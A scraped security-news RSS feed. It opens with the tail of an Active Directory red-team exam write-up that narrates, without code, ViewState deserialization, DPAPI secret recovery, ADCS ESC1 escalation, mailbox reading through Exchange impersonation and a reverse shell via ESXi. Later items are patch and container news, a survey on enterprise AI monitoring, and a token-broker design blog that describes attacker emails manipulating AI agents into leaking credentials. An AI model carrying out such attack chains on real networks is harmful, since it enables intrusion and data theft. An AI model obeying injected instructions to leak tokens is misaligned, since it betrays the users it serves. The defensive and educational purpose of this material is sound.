exposes a guest operations API that lets an ESXi-privileged operator execute arbitrary processes directly inside a running guest VM, authenticated with the guest’s own local credentials, entirely out-of-band from the guest’s actual network stack. I used this to launch a reverse shell process inside the guest, landing an interactive session on what the environment had positioned as its most sensitive internal system — completing the unauthenticated attack path from a bare IP range down to code execution on a hardened internal Linux host, entirely through Active Directory, certificate services, and hypervisor misconfigurations chained together.</p><h3>Path 2: Authenticated Adversary</h3><p>Path 2 starts from a completely different assumption: you already have low-privilege, unauthenticated-but-network-reachable access to a single public-facing IIS web application, and the objective is privilege escalation and lateral movement from that single entry point through to sensitive business data.</p><h3>Breaking the ASP.NET ViewState</h3><p>The target application was a fairly standard ASP.NET Web Forms site — the kind of legacy internal tooling that telecom operators tend to keep running long past its expected lifespan. Web Forms pages carry a hidden __VIEWSTATE field that encodes serialized page state, cryptographically signed (and optionally encrypted) using a machine key configured in the application’s web.config. If that machine key is ever exposed, the ViewState mechanism — designed purely for tamper protection — becomes a fully general .NET deserialization gadget, because the framework will happily deserialize and execute anything correctly signed with the right key.</p><p>The application exposed a reporting feature that read files from the local filesystem based on a URL parameter, with essentially no path validation. That’s a textbook local file inclusion primitive, and the highest-value target for it was obvious: the application’s own web.config, which — as is unfortunately common — held its ViewState validation key and algorithm directly in cleartext, alongside a setting that explicitly relaxed the URL-to-filesystem mapping to make path traversal easier rather than harder.</p><p>With the validation key, the algorithm, and the ViewState generator value scraped from the page’s own markup, I had everything ysoserial.net needs to forge a malicious ViewState blob. The TextFormattingRunProperties gadget chain — which abuses a WPF-related deserialization path to spawn an arbitrary process — turned that forged, correctly-signed ViewState payload into direct remote code execution the moment it was replayed against the application’s own postback endpoint. No credentials, no authentication bypass in the traditional sense — just a trust boundary (the machine key) that had leaked into a place it was never supposed to be reachable from.</p><h3>Registry Credentials and DPAPI</h3><p>Command execution through the ViewState gadget landed in the context of the IIS application pool identity — not a domain account, but still a foothold worth building on. A search through predictable locations on the host surfaced a custom internal application with its own registry key under HKLM\SOFTWARE, storing a domain service account’s username in cleartext alongside a Base64-encoded, DPAPI-protected password blob.</p><p>Storing secrets in a machine-scoped registry hive that any local process can read is already a mistake, but the developer had additionally used DPAPI’s LocalMachine protection scope rather than CurrentUser — meaning any process running on that specific machine, regardless of which user account it’s running as, can decrypt the blob using nothing but the machine’s own DPAPI master key. A short PowerShell snippet using the standard System.Security.Cryptography.ProtectedData class was enough to unwrap it and recover a plaintext domain credential for a genuinely useful service account.</p><h3>A Second Path Through ADCS</h3><p>That newly recovered service account turned out to have its own enrollment rights on a different certificate template in the same PKI — again vulnerable to the same ESC1 misconfiguration pattern seen in Path 1, just via a different template and a different starting account. The exploitation mechanics were identical: enumerate the vulnerable template, retrieve the target’s SID over RPC, forge a certificate request asserting the Domain Administrator’s identity, authenticate with the issued certificate, and recover the corresponding NT hash — landing Domain Admin from an entirely different starting point than Path 1, but through the same underlying PKI weakness. It’s a good illustration of why a single vulnerable certificate template rarely stays contained to one attack path; if more than one principal can enroll against it, it’s effectively a shared skeleton key for the domain.</p><p>From there, authenticating directly to the domain controller as Domain Admin opened up the full SMB share tree, and a look through the Windows Task Scheduler’s on-disk task definitions turned up something unusual: a scheduled task configured to run a PowerShell script under the Administrator’s own context, seemingly for routine mailbox maintenance. Pulling that script down and reading through it revealed hardcoded Exchange service credentials — again stored in plaintext, this time inside a script whose entire purpose was mailbox automation.</p><h3>Exchange Impersonation and Mailbox Enumeration</h3><p>The credentials recovered from that scheduled task belonged to an operations-focused service account, and a quick programmatic check against the Exchange server confirmed it had been granted the ApplicationImpersonation management role — an Exchange RBAC role that, by design, allows a single service account to act on behalf of any mailbox in the organization without needing that mailbox’s own credentials. It’s an entirely legitimate feature meant for backup, migration, and integration tooling, but when the account holding it also has weak or exposed credentials, it collapses into a universal mailbox-reading primitive.</p><p>Using the Exchange Web Services API with that account’s impersonation rights pointed at the Administrator’s own mailbox, I was able to enumerate the Inbox, Sent Items, and Drafts folders directly — no need to ever touch the Administrator’s actual password. Reading through the recovered correspondence surfaced exactly the kind of operational detail that internal email threads tend to accumulate over time: database credentials shared between a DBA and an operations contact for a production SQL instance, network infrastructure access details passed along in a router-maintenance thread, and references to an internal marketing campaign server mentioned in passing in an unrelated message chain. None of this was the result of a single exploit — it was simply what falls out of an inbox that’s been collecting operational chatter for months, once you have legitimate-looking read access to it.</p><p>That last stretch of Path 2 is worth reflecting on separately, because it’s a different category of finding than everything before it. Getting to Domain Admin via ADCS ESC1 is a hard technical exploit with a clean root cause and a clean fix — restrict enrollment rights, disable enrollee-supplied subject, or require manager approval on the template. Reading sensitive operational secrets out of an executive’s inbox because a service account with impersonation rights had weak credentials is a softer, more human failure mode — and honestly the one that’s hardest to fully close, because impersonation itself is a legitimate and necessary Exchange feature. The fix there isn’t technical elimination, it’s credential hygiene and RBAC scoping: impersonation rights should be scoped to the specific mailboxes a given integration actually needs, not granted organization-wide by default, and any account holding that role deserves the same protection posture as a Domain Admin account, because functionally it often is one.</p><h3>Closing Thoughts</h3><p>Looking back at both paths together, the pattern that stands out most isn’t any single vulnerability class — it’s how often the misconfigurations were individually mundane and collectively devastating. A DNS server that shouldn’t allow zone transfers. An account that shouldn’t skip Kerberos pre-auth. A certificate template that shouldn’t let requesters pick their own identity. A registry key that shouldn’t hold a password, even an encrypted one, at machine scope. A scheduled task script that shouldn’t hardcode credentials. None of these individually would make a headline vulnerability disclosure. Chained together, in the right order, they took an anonymous position on a /24 all the way to Domain Admin and hypervisor-level code execution, twice, through two completely different entry points.</p><p>That’s really the entire thesis of AD-RTS as a certification, and it’s the same lesson every serious AD engagement eventually teaches: defenders tend to think in terms of individual controls, and attackers think in terms of paths. The environments that hold up aren’t the ones with zero misconfigurations — that bar doesn’t exist in any real enterprise — they’re the ones where no single chain of small mistakes reaches all the way to the crown jewels.</p><p>If you’re working through AD-RTS yourself, my honest advice is to resist the urge to jump straight to the tooling. Every phase of this exam rewards understanding why a technique works before running it — ASREPRoasting only makes sense once you understand what Kerberos pre-authentication is actually protecting against, and ESC1 only clicks once you understand what a certificate template’s enrollment permissions and SAN policy are actually meant to enforce. The course material front-loads that theory for a reason.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B-p06VDmeewZgy9f12e7jQ.png"></figure><p><em>If you found this useful, feel free to connect on</em> <a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a> <em>or check out my tools on</em> <a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=40f5e9450703" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/certified-ad-red-team-specialist-ad-rts-full-exam-write-up-40f5e9450703">Certified AD Red Team Specialist (AD-RTS): Full Exam Write-Up</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (389-ds-base, bind9.18, evince, fence-agents, freerdp, frr, frr10, gimp, gnutls, hplip, jmc, mariadb:11.8, mysql:8.4, php:7.4, postgresql-jdbc, postgresql:15, postgresql:16, valkey, xorg-x11-server, and xorg-x11-server-Xwayland), Debian (fastnetmon),...]]></description>
<link>https://tsecurity.de/de/3643620/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643620/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 03 Jul 2026 15:10:20 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (389-ds-base, bind9.18, evince, fence-agents, freerdp, frr, frr10, gimp, gnutls, hplip, jmc, mariadb:11.8, mysql:8.4, php:7.4, postgresql-jdbc, postgresql:15, postgresql:16, valkey, xorg-x11-server, and xorg-x11-server-Xwayland), <b>Debian</b> (fastnetmon), <b>Fedora</b> (7zip, apptainer, cpp-httplib, mysql8.4, and nmap), <b>Oracle</b> (freerdp, giflib, glib2, glibc, kernel, libreoffice, libvirt, mariadb:10.11, postgresql, python3.11, python3.12, rrdtool, and thunderbird), <b>Red Hat</b> (buildah, podman, and skopeo), <b>SUSE</b> (alloy, apache2, buildah, c3p0, containerd, crun, cups, dhcpcd, dnsmasq, docker-stable, dracut, editorconfig-core-c, ffmpeg-7, fontforge, google-guest-agent, google-osconfig-agent, graphicsmagick, gstreamer-plugins-bad, gstreamer-plugins-good, helm, jackson-annotations, jackson-core, jackson-databind, jline3, kernel, kubectl-cnpg, lcms2, libslirp, libssh2_org, libxreaderdocument3, openbabel, openssl-3, pacemaker, perl-CGI-Session, perl-list-someutils-xs, python-lxml, python-tornado, python-tornado6, python3-onionshare, python311-python-engineio, sg3_utils, thunderbird, transmission, and trivy), and <b>Ubuntu</b> (cifs-utils, kernel, libvncserver, linux-aws-6.8, linux-gcp-6.8, linux-gke, linux-gkeop, linux-ibm-6.8, linux-nvidia-lowlatency, linux-oracle-6.8, linux-lowlatency, linux-lowlatency-hwe-6.8, linux-nvidia-tegra, linux-oracle-5.15, linux-raspi, linux-xilinx, nghttp2, nginx, perl, and vim).]]></content:encoded>
</item>
<item>
<title><![CDATA[Podman 6 baut Docker-Kompatibilität aus]]></title>
<description><![CDATA[Podman 6.0.0 bringt einen modernisierten Netzwerk-Stack, Verbesserungen für Podman Machine und Quadlet sowie mehr Docker-Kompatibilität.]]></description>
<link>https://tsecurity.de/de/3643112/it-nachrichten/podman-6-baut-docker-kompatibilitaet-aus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643112/it-nachrichten/podman-6-baut-docker-kompatibilitaet-aus/</guid>
<pubDate>Fri, 03 Jul 2026 11:18:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Podman 6.0.0 bringt einen modernisierten Netzwerk-Stack, Verbesserungen für Podman Machine und Quadlet sowie mehr Docker-Kompatibilität.]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows 11 can now run Linux containers with WSL Containers, no Docker Desktop needed (hands on)]]></title>
<description><![CDATA[submitted by    /u/WPHero   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3642590/linux-tipps/windows-11-can-now-run-linux-containers-with-wsl-containers-no-docker-desktop-needed-hands-on/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642590/linux-tipps/windows-11-can-now-run-linux-containers-with-wsl-containers-no-docker-desktop-needed-hands-on/</guid>
<pubDate>Fri, 03 Jul 2026 04:08:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/WPHero"> /u/WPHero </a> <br> <span><a href="https://www.windowslatest.com/2026/07/02/hands-on-with-linux-container-using-wsl-container-on-windows-11-without-docker-desktop/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uleokr/windows_11_can_now_run_linux_containers_with_wsl/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Enterprises lost Claude Fable 5 for a few weeks. New data shows two-thirds had already built their hedge]]></title>
<description><![CDATA[Two-thirds of enterprises have hedged their AI model strategy, and the past few weeks of controversy around Anthropic’s Claude Fable 5 model showed why that posture has gone mainstream. On June 12, a U.S. export-control order pulled Anthropic's Claude Fable 5 — the most capable model on the marke...]]></description>
<link>https://tsecurity.de/de/3642528/it-nachrichten/enterprises-lost-claude-fable-5-for-a-few-weeks-new-data-shows-two-thirds-had-already-built-their-hedge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642528/it-nachrichten/enterprises-lost-claude-fable-5-for-a-few-weeks-new-data-shows-two-thirds-had-already-built-their-hedge/</guid>
<pubDate>Fri, 03 Jul 2026 03:02:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Two-thirds of enterprises have hedged their AI model strategy, and the past few weeks of controversy around Anthropic’s Claude Fable 5 model showed why that posture has gone mainstream. </p><p>On June 12, a U.S. export-control order <a href="https://venturebeat.com/technology/anthropic-blocks-all-public-access-to-claude-fable-5-mythos-5-following-us-government-order-what-enterprises-should-do">pulled Anthropic's Claude Fable 5</a> — the most capable model on the market — offline for every customer, with no warning and no timeline. It returned this week <a href="https://venturebeat.com/technology/anthropic-is-bringing-back-claude-fable-5-globally-after-us-lifts-export-control-order-where-can-enterprises-access-it">wrapped in tighter safeguards</a>, after China's Z.ai <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">released its open-weights GLM-5.2 into the vacuum</a>. New VentureBeat Pulse Research, which surveyed 145 enterprises across these last few weeks, shows that two-thirds had already hedged their model strategy before the order came down: 51% blend closed frontier models with open-weight models deployed on their own infrastructure, and another 16% are moving core workflows off closed APIs entirely. The remaining third was all-in on closed ecosystems when the lights went out.</p><p>The blackout put a spotlight on vendor dependency, by showing what happens when the model you rely on disappears. But vendor dependency is only the most visible piece of a deeper problem: Most enterprises lack the monitoring to know when an AI system they've put into production stops working correctly. </p><p>Just 1 in 10 enterprises has automated monitoring that would catch an AI model drifting, misbehaving, or failing in production. Roughly a quarter would learn of a production failure only when end users — internal or external — report it, or lack the visibility to detect it at all. And 79% of enterprise organizations have already taken a real financial or operational hit from autonomous agents — most often shadow AI, unauthorized agentic work run by enterprises' own employees on corporate credit cards, outside anyone's oversight.</p><p>We call this the “Control Gap,” or the distance between how aggressively enterprises are deploying AI and how little of it they can see, own, or govern. June’s blackout turned this into a live stress test.</p><p><b>About this data:</b> VentureBeat Pulse Research surveyed 145 qualified respondents at organizations with 100 or more employees in June 2026, with fielding spanning the Fable 5 blackout that began June 12. The sample is self-selected and directional: 41% work in technology/software, 20% are consultants or advisors, and the respondent base skews senior and technical — CIO/CTO/CISOs (18%), directors of engineering/IT (14%), enterprise architects (12%). More than half of the respondents were from companies with 10,000 employees or more. </p><p>While our sample is not huge, what you can trust more than the exact percentages is the pattern: Every question in the survey, independently, points the same way, with deployment running ahead of governance, visibility, and cost control.</p><p>The full methodology is in the <a href="https://venturebeat.com/resources/the-control-gap-enterprise-ai-organizations-have-an-ownership-problem-not-a-technology-problem-and-most-are-governing-it-by-hand">report</a>.</p><h2>How the Fable 5 export order rewrote enterprise AI risk </h2><p>Fable 5 launched June 9 to immediate acclaim — and sticker shock, at $10 per million input tokens and $50 per million output. Three days later, the U.S. government issued an emergency export-control directive barring access by foreign nationals. Anthropic, with no way to verify nationality in real time, suspended the model for everyone.  </p><p>Z.ai has continued to pick up momentum; on Wednesday it released <a href="https://venturebeat.com/technology/z-ai-launches-zcode-to-challenge-cursor-claude-code-and-github-copilot-in-ai-coding">an open agentic coding environment, called Zcode</a>. OpenAI, meanwhile, previewed its cutting-edge GPT-5.6 line on June 26. </p><p>Enterprises had already spent the spring learning what AI dependence costs in dollars. Uber <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">burned through its entire 2026 AI coding budget in four months</a> after Claude Code adoption hit 84% of its roughly 5,000 engineers, Forbes reported. Microsoft <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">canceled most internal Claude Code licenses</a> in its Windows and Microsoft 365 division, steering engineers to its own tooling, according to The Verge. </p><p>June added the harder lesson: The model your workflows depend on can vanish overnight, by government order, through no decision of yours or your vendor's. And Chinese companies like <a href="https://venturebeat.com/infrastructure/how-deepseeks-radical-architecture-is-shattering-silicon-valleys-token-moat">DeepSeek were releasing hugely disruptive, powerful models</a>, driving down costs to a fraction of Western ones.</p><p>Brian Craig, senior director of architecture at Liberty IT, the Ireland-based engineering arm of Liberty Mutual, one of the world’s largest insurance companies, saw both lessons collide in real time. Craig is Irish, which meant the export order hit him directly as a foreign-national user. </p><p>Onstage at VentureBeat's AI Impact event in New York on June 24, mid-blackout, I asked him about it. "Fable arrived, and immediately you saw the sticker price of using it, and you went, 'Ooh, goodness, it better be really good,'" Craig said. "But luckily enough, we didn’t get to use it enough to get to fall in love with it." Then it was gone.</p><h2>The hedge was already built before the blackout hit</h2><p>Craig's company was built to route around exactly this kind of disruption. Liberty IT runs what it calls an AI backbone — roughly 50 components spanning security, governance, observability, and orchestration, each independently replaceable. </p><p>"You can't lock in right now in one vendor and even one framework," Craig told the room. "You need to keep being able to have the flexibility with that backbone to be able to hook into different models, different vendors, depending not so much on who's the flavor of the day, but on what you can feel confident about for the next six months."</p><p>The survey shows Craig has plenty of company. A 51% majority of enterprises run a hybrid posture — closed frontier models for general reasoning, open-weight models deployed locally for specialized execution — and 16% are making a hard pivot, moving core workflows onto open weights running on their own hybrid or private cloud. The 32% holding a closed commitment are candid about why: The operational overhead of self-hosting still outweighs the savings for them. After June, that calculus has a new variable in it.</p><p>Defection is now the active posture, and the target may surprise you. Asked which primary AI vendor they are most likely to downsize or phase out over the next 12 months, respondents named Microsoft first at 30% — most citing cutbacks to Copilot and Azure AI frameworks in favor of direct model access — ahead of the 28% who plan to trim no vendor at all. OpenAI drew 21%, largely on pricing volatility, with Anthropic at 15% and Google at 6%. No vendor faces an exodus. But loyalty by inertia has ended: Among these enterprises, actively cutting at least one provider is now more common than expanding across all of them.</p><h2>Just 1 in 10 enterprises would catch a failing production model automatically</h2><p>How would an enterprise know if one of its production AI models was drifting, behaving unsafely, or failing to complete tasks? We asked directly. Forty percent say they are very confident they would detect it. The question also asked what that confidence rests on, and respondents split into two camps: 30% rely on humans reviewing critical AI outputs, and just 10% — 14 of the 145 organizations — have automated monitoring and alerting running against production systems. The remaining respondents hold weaker positions still: 32% expect to catch most issues "eventually," 19% say they would likely hear about a failure from end users first, and 8% report no systematic visibility into production AI behavior at all.</p><p>That distinction matters because the two approaches are very different. Human review may seem like the gold standard, but it only reaches the outputs someone designates as important for such a review — and it happens at the pace humans can move at, with the inconsistency any manual process carries. Automated monitoring watches everything the system produces, continuously, and flags anomalies as they happen — for the same reason enterprises stopped depending on manual checks for uptime and security a decade ago. </p><p>As agentic workloads multiply output volumes far beyond what any review team can read, the manual approach starts to fall behind. The leaders at our June 24 event in New York treat human review as a designed control with automation underneath it. "Nothing gets deployed into production unless it's a human actually reviewing it and signing off," Craig said of Liberty's agentic software factory, where planning, coding, testing, critic, and librarian agents ship features from epic to production. </p><p>"It always has to be risk-based. That's why we work for an insurance company." Todd Johnson, the Morgan Stanley managing director who runs agentic AI across the bank's end-of-day P&amp;L controller process, described the same principle from finance: "One of our strong principles in our AI governance generally is that there always has to be human accountability, even if there's a degree of automation." VentureBeat covered Morgan Stanley's <a href="https://venturebeat.com/orchestration/morgan-stanley-cut-its-riskiest-reconciliation-job-in-half-by-making-its-agents-less-autonomous">new results around its P&amp;L resolution agent system separately</a>.</p><p>Liberty Mutual and Morgan Stanley chose manual sign-off deliberately, layered on top of observability, identity, and governance infrastructure. Whether the human-review camp has similar infrastructure underneath is more than a single-select question can establish. The 16% who separately named missing observability tooling as their biggest governance barrier are the ones saying outright that it hasn't been built.</p><h2>The top governance barrier is organizational: no single owner for AI across platforms</h2><p>Why does the AI visibility tooling never get built? The respondents' answers suggest it is an organizational shortcoming. The single most-cited barrier to governing AI across platforms is the absence of a single owner or accountable team, at 32%. Vendor opacity follows at 25%, missing tooling at 16% — and a lack of talent lands dead last at 5%. </p><p>The skills exist, but the organizational mandate does not: Only 38% say a central team actually governs AI behavior across their platforms today, 21% say ownership is unclear or actively contested between teams, and 17% say no role holds formal accountability at all.</p><p>The AI surface being governed makes the vacuum worse. Fully 85% of enterprises run two or more platforms each claiming to be the "primary" AI layer — ERP, ITSM, productivity suite, data platform, each with its own AI, its own controls, and its own assumptions. 36% describe an open contest between four or more. Just 8% have consolidated to one. Asked in a free-text question what one thing they would fix, respondents converged from different directions on the same answer: a single accountable owner, and a control plane that abstracts cost, drift, and model choice away from the end user.</p><h2>79% have already paid for an agent control failure — led by shadow AI </h2><p>The cost of the vacuum is showing up on corporate cards. </p><p>Asked to name the most severe financial or operational control failure they have experienced from autonomous agents, 49% of enterprises cite shadow AI — departmental teams running unauthorized agentic pipelines on corporate credit cards, bypassing central financial oversight entirely. Another 25% have been hit by an infinite-loop bill, an uncaught recursive workflow racking up thousands in token costs in a single incident, and 6% by an agent that degraded production databases with unthrottled queries. Only 21% report guarded stability, with hard token throttling and budget caps at the infrastructure layer. Add it up: 79% of these enterprises have already paid for an agent control failure in real money or real downtime.</p><p>Finally, the economics of tokens suggest the pressure will keep rising. Per-token inference costs are falling 70 to 80% a year, and agentic workloads consume 100 to 500 times the tokens of the LLM tools they replaced. </p><p>Brian Gracely, senior director of portfolio strategy at Red Hat, told our New York audience the answer starts with right-sizing: "If I'm simply trying to resolve an insurance claim, I don't need to know about the history of Western civilization in my model. I don't need to know soccer scores." </p><p>Enterprises are pairing smaller, specialized models with semantic routing, he said, so the platform decides which requests genuinely need frontier-scale reasoning — and which are burning premium tokens on commodity work. (One adjacent data point from the survey underlines the appetite for pragmatism: 73% of enterprises report little or nothing to show for their custom fine-tuning investments of the past 18 months — a reckoning we'll examine in its own report.)</p><h2>The bottom line: Replaceability is spreading faster than ownership</h2><p>The survey describes enterprises moving fast on AI with weak controls underneath. 58% are adding more AI initiatives than they retire. 85% run multiple platforms that each claim to be the primary AI layer. Three times as many enterprises rely on human review to catch a failing production model as have automated monitoring in place. And 79% have already paid for an agent control failure — most often unauthorized agent spending on corporate cards, outside IT's oversight.</p><p>On one problem, enterprises have clearly adapted: model dependency. Two-thirds hedge their model strategy, either running open-weight models alongside closed ones (51%) or moving core workflows off closed APIs entirely (16%). The Fable 5 shutdown showed the value of that position — the hedged companies could route around a model that a government order made unavailable overnight.</p><p>The remaining problems are internal, and no purchase fixes them: 32% name the lack of a single accountable owner as their top governance barrier, and 17% say no role holds formal accountability for AI at all. Assigning an owner costs nothing and requires no vendor. It still hasn't happened at most of these companies.</p><p>Our coming Q3 wave of research will measure whether June changed this — whether enterprises assigned owners and installed automated monitoring, or just added a second model and moved on.</p><p><b>Get the full Control Gap report </b><a href="https://venturebeat.com/resources/the-control-gap-enterprise-ai-organizations-have-an-ownership-problem-not-a-technology-problem-and-most-are-governing-it-by-hand"><b>here</b></a><b>.</b></p><p><i>The themes in this report — agent orchestration, governance, and cost control — are the agenda at VB Transform, VentureBeat's flagship event, July 14-15 at Hotel Nia in Menlo Park, with technical leaders from Visa, GM, Waymo, Intuit, Instacart, LangChain and others.</i><a href="https://venturebeat.com/vbtransform2026"><i> Details and registration here.</i></a></p><hr><p><i>Disclosure: VentureBeat's June 24 AI Impact event in New York was sponsored by Red Hat and Intel. Sponsors have no input into VentureBeat Pulse Research survey design, findings, or editorial coverage.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Securing agentic identity]]></title>
<description><![CDATA[As is the case for many people working in the security industry, the last
few months of my life have been focused on dealing with people wanting to
use LLMs everywhere. From an enterprise security perspective that’s not an
inherent problem - what’s more of a problem is that people want those agen...]]></description>
<link>https://tsecurity.de/de/3642515/downloads/securing-agentic-identity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642515/downloads/securing-agentic-identity/</guid>
<pubDate>Fri, 03 Jul 2026 02:45:52 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>As is the case for many people working in the security industry, the last
few months of my life have been focused on dealing with people wanting to
use LLMs everywhere. From an enterprise security perspective that’s not an
inherent problem - what’s more of a problem is that people want those agents
to have access to resources like their calendar and email and so on, and now
we have somewhat non-deterministic agents that seem very enthusiastic to
achieve what you asked whether that’s a good idea or not, and we’re
combining this with credentials that give them access to sensitive data, and
leaving those credentials on disk where they can be committed into git repos
or exfiltrated to some other service to make use of them on the agent’s
behalf or well just any other number of things, at which point your CEO’s
email is suddenly readable by everyone and you’re having a bad day.</p>
<p>As I mentioned in my <a class="link" href="https://codon.org.uk/~mjg59/blog/p/preventing-token-theft/" target="_blank" rel="noopener">last
post</a>, pretty
much every strong mechanism for keeping credentials in place is just not
supported in the wider world. We can imagine a universe where agents use
hardware (or at least hypervisor) backed certificates to obtain credentials
and any that end up leaking are worthless as a result. But, sadly, that’s
not an option for most people using existing identity providers. The state
of the art is that you use the <a class="link" href="https://mjg59.dreamwidth.org/62175.html" target="_blank" rel="noopener">device code
flow</a> and a human authenticates and
the token ends up back inside the agent environment and then it proceeds to
do whatever it wants with it and you just hope that you wake up the next
morning without an awful infoleak occurring.</p>
<p>(An aside: I do not like the device code flow as used in enterprise
environments, and I never will. The identity provider doesn’t have a real
opportuity to inspect the security posture of the system asking for the
token, and as a result some identity providers will restrict tokens that are
issued in this way. The common alternative of doing stuff using a more
standard flow and having a redirect URI pointing at localhost works fine for
local systems and is a pain for remote ones, even if you can commit crimes
with SSH forwarding. I’m going to suggest something that I think is better,
and you are free to disagree)</p>
<p>I’m not in a position to get every identity provider and service provider to
change their security posture, so I’m somewhat stuck in terms of the tokens
they’re willing to issue me - largely either JWTs or opaque access tokens,
with no support for any mechanism of binding that token to an instance. The
token that’s going to have to be provided to the remote service is something
I have little influence over. But that doesn’t mean I can’t influence the
token that lands inside the agent’s environment. I can issue a placeholder
token to the agent, and force it to communicate via a proxy that swaps out
the placeholder for the real thing. The worst the agent can do is exfiltrate
the placeholder token, and as long as malicious actors don’t have access to
that proxy, it doesn’t matter - nobody else can do anything with the
placeholder.</p>
<p>This isn’t a terribly novel insight, and it seems like almost everybody has
reinvented this on their own. But a lot of these implementations involve you
somehow obtaining the real token in advance and then pasting that into
something that generates a placeholder that you provide to your agent
environment somehow, and it’s all a bit clunky and awkward, and it also
means that you need to deal with something that keeps track of the mapping
between placeholders and real tokens and oh no we’ve just invented a secret
store, and if you want this to work at scale and reliably you’re just
invented a high availability distributed secret store, and a lot of people
who’ve read that are now shaking their heads and reaching for gin. Can we
simplify this, and improve security at the same time? I think we can!</p>
<p>Remember when I said “as long as malicious actors don’t have access to that
proxy, it doesn’t matter”? What if they do? What if they compromise one
machine inside your environment and are then able to email a bunch of
employees and convince their agents to send more tokens back to them and
then delete the email before a human reads it? Now you have someone inside
the wall with access to those tokens, and presumably with access to the
proxy, and now they can be anyone whose agent was gullible enough to think
sending them a token was a good idea. This isn’t good!</p>
<p>So, I thought for a while, and I came up with a new idea. We can have a
broker service that obtains credentials for us. We can run that centrally,
away from the agents. A client in an agentic environment can request a
token, and that can result in a URL being generated and the user being
directed to open a URL in a browser and authenticate. When the user
authenticates, the authentication flow redirects the confirmation back via
the broker, and the broker obtains the real auth token. The obvious thing to
do now would be to return the auth token to the client in the agentic
environment, but we don’t do that. Instead, we mint a new JWT, and add a new
claim - one that contains an encrypted copy of the token. In the process we
can copy over all the original claims, because those aren’t secret - and now
even if the client inspects the token to figure out what access it has,
it’ll get a correct answer. We sign the new token with our own signing key,
and pass that back to the client. The client now has a legitimate JWT that
is utterly useless, because the signature isn’t trusted by anyone other than
us.</p>
<p>How does it use it? It makes an API request via a proxy, including the new
token in the Authorization: header. The proxy verifies the signature on the
token, and then decrypts the original token and swaps out the fake token for
the real one. The remote API sees what it expects, and everyone is
happy. There’s never a real token in the agentic environment, but also we
don’t need to store anyting anywhere. The only state is the encryption keys,
and those can be injected into the environment at startup. You need to
scale? Just start more of these processes. You need to support multiple
availability zones? Just start more of these processes in different
places. No persistent data is ever held in the broker or the proxy. You
don’t need to care about distributed databases or secret stores.</p>
<p>This felt wonderfully elegant and I felt smug about coming up with a better
idea, and then I went to a bar earlier this week and sat down to read <a class="link" href="https://datatracker.ietf.org/doc/html/rfc8705" target="_blank" rel="noopener">RFC
8705</a> and the guy next to me
saw that over my shoulder and asked what I was reading and I explained why I
was interested and we talked about agentic identity and then he mentioned
that fly.io had something that sounded <a class="link" href="https://fly.io/blog/tokenized-tokens/" target="_blank" rel="noopener">very
similar</a> and I read that and gosh yes
it is very similar, so damn you fly.io for stealing my ideas 3 years before
I even had them. Anyway. Now I need to do better.</p>
<p>Remember that there’s still a risk around anyone who has access to the proxy
having access to the encrypted keys? We can remove that risk as well. It’s
not uncommon for agentic environments to have an identity issued via
something like <a class="link" href="https://spiffe.io/" target="_blank" rel="noopener">SPIFFE</a>, at which point they have a
client certificate. You can probably guess where I’m going with this. If we
require that an agent present a client cert to the broker when requesting a
token, we can embed a representation of that client cert into the token we
mint. The proxy can then require mTLS for the client connection, and can
verify that the presented certificate matches the one represented in the
token. If it does then whoever’s using the token has access to the private
key associated with the environment it was issued to. If we then ensure that
the private keys backing these certificates are either hardware or
hypervisor backed, and as such tied to a specific instance, we now have a
high degree of confidence that the token can only be used in its intended
environment. Even if our identity provider doesn’t support RFC 8705, we can.</p>
<p>This is fairly straightforward where you’re using a platform where your
identity provider is also the environment that’s consuming your tokens, and
more annoying for third parties. The broker potentially needs some amount of
third party vendor knowledge to make that work for everyone. This is even
more the case where login isn’t via your identity provider (thanks, github),
but none of this is insurmountable - just annoying. And where vendors issue
opaque tokens rather than JWTs, this still isn’t a problem; we can just mint
a new JWT that includes the opaque token as an encrypted claim, and include
the same certificate binding. The opaque token ends up being the thing
that’s presented to the third party, but only after we’ve verified the mTLS
binding.</p>
<p>In an ideal world none of this would be necessary - someone would spin up a
new agentic environment, a user would prove their identity, and a
certificate embodying that identity would be issued to the environment with
a private key that can’t be exfiltrated. That certificate would be
sufficient to obtain new certificates associated with the same private key,
and we could still bind that into mTLS identity. This would be much simpler,
but browsers don’t support it, so it’s not likely to happen any time soon.</p>
